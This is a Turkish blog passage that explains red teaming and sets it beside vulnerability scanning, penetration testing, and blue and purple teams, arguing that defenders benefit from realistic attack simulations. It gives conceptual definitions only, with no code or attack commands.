    Doğru planlanmış ve uygulanmış bir Red Team çalışması, süreçlerden insanlara kadar birçok farklı alanda oluşabilecek potansiyel güvenlik açıklarını ve risklerini geniş kapsamda ortaya çıkararak yukarıda bahsettiğimiz olumsuzlukları ortadan kaldırabilir. Gerçek bir saldırıya en yakın kontrol şeklidir. Organizasyon içerisinde çok kısıtlı kişinin bilgisi dahilinde gerçekleştirilir. Bu sayede birçok farklı çıktı sağlayabilir. Organizasyonun güvenlik duruşunu gerçeğe en yakın şekilde ölçebilir.

    Süreçlerde oluşabilecek zafiyetleri daha net anlamak için basit bir Red Team çalışmasında ki “Initial Access” aşamasının faydalarını kısa bir örnekle inceleyelim. Hedef organizasyonun erişilebilir sistemlerinin üzerinde bulunan uygulamaların versiyonlarını açık kaynaklardan toplamış bir saldırgan olduğumuzu varsayalım. Elimizde bulunan envanter içerisinde bir sistem üzerindeki uygulamada kritik bir zafiyet yayınlandı. Organizasyona sızma işlemini bu zafiyeti kullanarak gerçekleştirdik. Senaryonun kalanından bağımsız bir şekilde sadece “Initial Access” aşaması bile bize aşağıdaki örnek birkaç sorunun cevabını sağlayabilir:

    1. Organizasyonun zafiyet yönetimi yetenekleri yeterli mi? Yayınlanan kritik bir zafiyetin kapatılma süresi ne kadar?
    2. Zafiyetlerin kapatılma süreci hedefli bir saldırıyı engelleyebilecek ölçüde mi?
    3. Zafiyete özel tespit ve engelleme kuralları hızla oluşturularak saldırı engellenebildi mi?
    4. Savunma ekiplerinin saldırıyı tespit ve tepki süresi ne kadar? Bu süreler kritik bir saldırıyı engelleyebilmek için yeterli mi?

    Red Team çalışmalarının olumlu birçok noktası olduğu gibi tabii ki eksik olan bazı noktaları da bulunmaktadır. Red Team çalışmaları uzun süren planlama, hazırlık ve uygulama süreçlerine sahiptir. Yapılan işlemler dikkatli bir şekilde iyi hazırlanılarak manuel olarak gerçekleştirilmelidir. Bu nedenle organizasyonun büyüklüğüne ve uygulanacak olan senaryoya göre değişiklikler gösterse de diğer güvenlik denetimlerine kıyasla çok daha uzun zaman ve kaynak gerektirir. Red Team ekibi çalışmasında senaryo içerisinde planlanan adımları uygulayarak belirlenen amaca ulaşmayı hedefler. Örneğin, oltalama ile bir organizasyona ilk sızma işlemi gerçekleştirilmiş ise, yapılan çalışmanın tespit edilmesine veya engellenmesine yol açacak şekilde dışarıdaki tüm sistemlere zafiyet taraması gerçekleştirmek anlamsızdır. Bu nedenle organizasyonun genel zafiyetlerini bir sızma testi kadar detaylı ortaya çıkaramaz.

    Blue Team Neden Red Team’e ihtiyaç duyar?

    Teknolojinin her geçen gün gelişmesi gibi siber saldırılar da her gün gelişmekte ve yeni saldırı teknikleri ortaya çıkmaktadır. Zafiyetlere benzer şekilde örneklersek; her ne kadar zafiyetler yayınlanan yamalar ile kapatılmaya çalışılsa da sürekli olarak yeni zafiyetler ortaya çıkmaktadır ve yeni önlemler ile kapatılmaktadır. Benzer durum savunma tarafı için de geçerlidir.

    Mevcut bir saldırıya karşı alınan savunma önlemleri, saldırıda yapılacak olan ufak değişiklikler veya savunmadaki bazı boşluklar kullanılarak atlatılabilmektedir. Olası saldırılar için alınan önlemlere körü körüne güvenmek çoğu zaman zararla sonuçlanacaktır ve mutlaka bu önlemlerin doğrulanmaları gerekir. Madde madde alınan önlemlere doğrulama yapmadan güvenmenin etkilerine bakacak olursak;

    • Sistemlerinizin güncel olması sizi bilinen saldırılara karşı korur, sıfırıncı gün saldırıları her zaman risk oluşturacaktır. Ek olarak sistemlerinizin gerçekten güncel olduğundan emin misiniz? Örneğin, MS17-010 zafiyetinin yaması yayınlandıktan aylar sonra ortaya çıkan WannaCry zararlısı, 150 ülkede 200,000’den fazla sisteme bulaşabilmişti.
    • Günümüzdeki büyük firmaların çoğu “Data Loss Prevention (DLP)” barındırmakta fakat birçok büyük firma tarafından açıklanan veri sızıntısı haberleri ile hala neden karşılaşıyoruz?
    • Çalışanlarınız gerçekten siber güvenlik farkındalığına sahip mi? İşe yeni başlamış farkındalığı düşük bir çalışan ve zararlı bir Office dosyası ile saldırı zinciri tetiklenebilir mi?
    • IDS/IPS ve firewall’lara sahip olabilirsiniz fakat Firewall’lar insanlar tarafından oluşturulan kurallar doğrultusunda çalışırlar. Diğer güvenlik ürünleri ise genelde sık karşılaşılan zararlılara karşı güvenilir bir şekilde çalışır ve basit yöntemler bile atlatmak için yeterli olabilir.

    Sıradan bir siber saldırıyı tespit etmek ve engellemek için varsayılan genel konfigürasyonlar kullanılabilir fakat organizasyona özel gerçekleştirilen saldırıları engellemek için daha spesifik ve detaylı çalışmaların yapılması gerekmektedir. Saldırılarda kullanılan araçlar ve teknikler kolaylıkla değiştirilebilir fakat uygulanan davranışlar ve yöntemler geneldir. Red Team bu noktada hedefli bir saldırgan gruba benzer şekilde organizasyonu hedef alır ve savunmasını test eder. Çalışma sonrasında ortaya çıkan veriler doğrultusunda tespit ve engelleme mekanizmalarında iyileştirmeler yapılır. Yapılan her iyileştirme bir sonraki Red Team çalışmasının tespit edilme ihtimalini yükseltir, bu nedenle Red Team’in saldırgan gruplarda da olduğu gibi sürekli gelişmesi gerekmektedir. Yani Red Team Blue Team’in gelişimine katkı sağlarken, Blue Team de Red Team’in gelişime katkı sağlamaktadır.

  • Red Team: Genel Bilgiler ve Tanımlar

    Başlıktan da anlaşılacağı üzere, şu anda “Red Team” ile ilgili uzun zamandır yazmak istediğim fakat bir türlü zaman ayıramadığım yazı serisinin ilk postunu okuyorsunuz. Bu seride Red Team başlığı altında; kendi gelişim süresince aldığım eğitimler, yapmış olduğum araştırmalar ve elimdeki notları tek bir noktada birleştirmeye gayret ediyor olacağım.

    Bazı başlıklar ve yazı içerisinde İngilizce tanımlar ile karşılaşmanız mümkün. Bunun sebebi ise bazı tanımların Türkçeye çevrildiğinde anlamını yitirmesi ve Türkçe olarak bu kelimeleri kullanarak yaptığınız araştırmalarınızın sığ sonuçlar getirecek olmadır.

    Bu post direkt olarak Red Team’i konu almaktan daha ziyade genel bilgileri ve tanımları içeren basit bir yazı olacak.

    Vulnerability Scanning

    Vulnerability Scanning (Zafiyet Taraması) en temel güvenlik denetimlerinden biridir. Adından da anlaşılabileceği üzere; verilen hedefler üzerinde otomasyon kullanılarak zafiyetler tespit edilmesine dayanır. Hedeflenen varlıklar üzerinde kısa sürede, araçların da yardımıyla bilinen zafiyetleri tespit edebilmeyi amaçlar.

    Düşük insan gücü ile gerçekleştirilebilir fakat kullanılacak olan tarama araçları için yatırım ihtiyacı bulunur.

    Kontrollerin tamamlanması diğer denetim yöntemlerine göre daha hızlıdır. Bu sayede varlığın büyüklüğüne bağlı olarak kısa periyotlar içerisinde tekrarlanabilir. Araçların temel bilgi toplama fonksiyonları kullanılarak yüzeysel bir envanter bilgisi elde edilebilir ve zafiyet yönetimi için girdi oluşturulabilir.

    Derinliği, yüzeysel bir kontrol gerçekleştirdiği için düşüktür. Doğruluğu ise, taramalar sırasında zafiyetlere ait olan bazı değişkenlerin (versiyon, dizin vb.) tespitinde ve kurulu uygulama yapısındaki ufak değişikliklerden etkilenebildiği için (özellikle web uygulamalarında ve mantıksal zafiyetlerde) düşüktür. Bu nedenle false-positive bulgular üremesi veya bulgu kaçması olasıdır.

    Penetration Testing

    Penetration Testing(Sızma Testi); belirli bir kapsam içerisinde bulunan varlıklar üzerinde bulunan zafiyetlerin tamamını tespit etmeyi amaçlayan bir denetim yöntemidir. Testler sırasında farklı amaçlar için birçok araç kullanılsa bile çoğunlukla manuel efor gerektirir. Tespit edilen zafiyetler testi gerçekleştiren kişi/kişiler tarafından sömürülür. Bu sayede zafiyetlerin doğrulukları, potansiyel etkileri, hedef kurum/şirket üzerinde oluşturdukları riskler tespit edilebilir.

    Tespit edilen sömürülebilir tüm zafiyetlerin bilgileri ve kanıtları bir rapor içerisinde ilgili kişiler ile paylaşılır. Çok sayıda varlığa sahip kurum/şirketlerde, zafiyetlerin etkileri iyi analiz edilebileceği için zafiyetler doğru bir öncelik ile kapatılabilir.

    Zafiyet taramasına göre daha fazla manuel efor barındırdığı için tamamlanması daha uzun sürmektedir fakat derinlik ve doğruluk olarak daha kaliteli sonuçlar elde edilebilir. Hedef kapsamın büyüklüğüne göre gerçekleştirilen sızma testinin süresi ciddi ölçüde artabilir.

    Yöntem olarak 3’e ayrılır;

    • Black Box: Hedef hakkında herhangi bir bilgiye sahip olunmadan gerçekleştirilen testlerdir.
    • Gray Box: Sınırlı sayıda bilgi ile gerçekleştirilen testlerdir.
    • White Box: Hedef ile ilgili gerekli tüm bilgiye sahip olunarak gerçekleştirilen testlerdir.

    Blue Team

    Red Team’e geçmeden önce kısaca Blue Team’den bahsetmenin faydalı olacağını düşünüyorum. CNSS’e göre blue team’in tanımı aşağıdaki şekildedir;

    “The group responsible for defending an enterprise’s use of information systems by maintaining its security posture against a group of mock attackers (i.e., the Red Team). Typically, the Blue Team and its supporters must defend against real or simulated attacks 1) over a significant period of time, 2) in a representative operational context (e.g., as part of an operational exercise), and 3) according to rules established and monitored with the help of a neutral group refereeing the simulation or exercise (i.e., the White Team).”

    Özetle Blue Team; 7/24 varlıkların takibini yaparak gerçek bir saldırıya karşı organizasyonun savunmasını sağlamak ile görevli olan ekiptir. Olası güvenlik tehditlerini ve risklerini analiz eder. Bu analizler sonrasında elde edilen veriler kullanılarak, siber saldırılara karşı refleks mekanizmaları geliştirilir. Bu sayede gerçekleşecek olan olası siber saldırıların tespiti ve engellenmesi amaçlanmaktadır.

    Red Team

    Red Teaming basit tabiriyle; taktik, teknik ve prosedürleri (TTPs) canlandırarak gerçek bir saldırganın bakış açısı ile hedefin güvenlik duruşunu tam anlamıyla test eder. Çoğunlukla bir kapsamı yoktur veya çok geniş bir kapsam ile kontroller gerçekleştirilir.

    Red Team çalışması canlı sistemler üzerinde ve Blue Team’e herhangi bir bilgilendirme yapılmadan gerçekleştirilir. Temelde Blue Team’in gelişimi amaçlanmaktadır. Kurumun tespit mekanizması, siber saldırı refleksi, savunma prosedürleri, konfigürasyon eksiklikleri ve teknolojilerinin zayıflıkları gibi birçok farklı noktayı kontrol eder. Yeni bir TTP, araç, zafiyet çıktığında veya geniş zaman aralığında periyodik olarak gerçekleştirilebilir. Bu nedenle red team çalışmalarında siber istihbarat önemli bir yere sahiptir.

    Uzman bir ekip tarafından başarıyla tamamlanan ve sonuçları incelenerek gerekli önlemlerin alınması sağlanan bir sızma testi, her ne kadar güvenlik seviyesinde iyileştirme sağlasa da Red Team çalışması ile aynı şey değildir. Bunun sebebi sızma testinin ve Red Team’in tamamen farklı şekilde uygulanması ve farklı amaçlara sahip olmasıdır.

    Purple Team

    Purple Team aslında bir takımdan ziyade, Blue Team ve Red Team takımlarının beraber çalışması için oluşturulmuş bir süreç ve fonksiyondur. Red team çalışmaları sırasında Blue Team’e herhangi bir bilgilendirme yapılmazken Purple Team çalışmaları blue team ile beraber gerçekleştirilir. Çalışmalar sırasında Red Teaming’de olduğu gibi TTP’ler takip edilir ve Blue Team tarafından incelenir. Bu sayede anlık olarak gerçekleştirilen saldırının tespitinin incelenmesi ve gerekli durumlarda tekrarlanması/doğrulanması sağlanabilir.


    Referanslar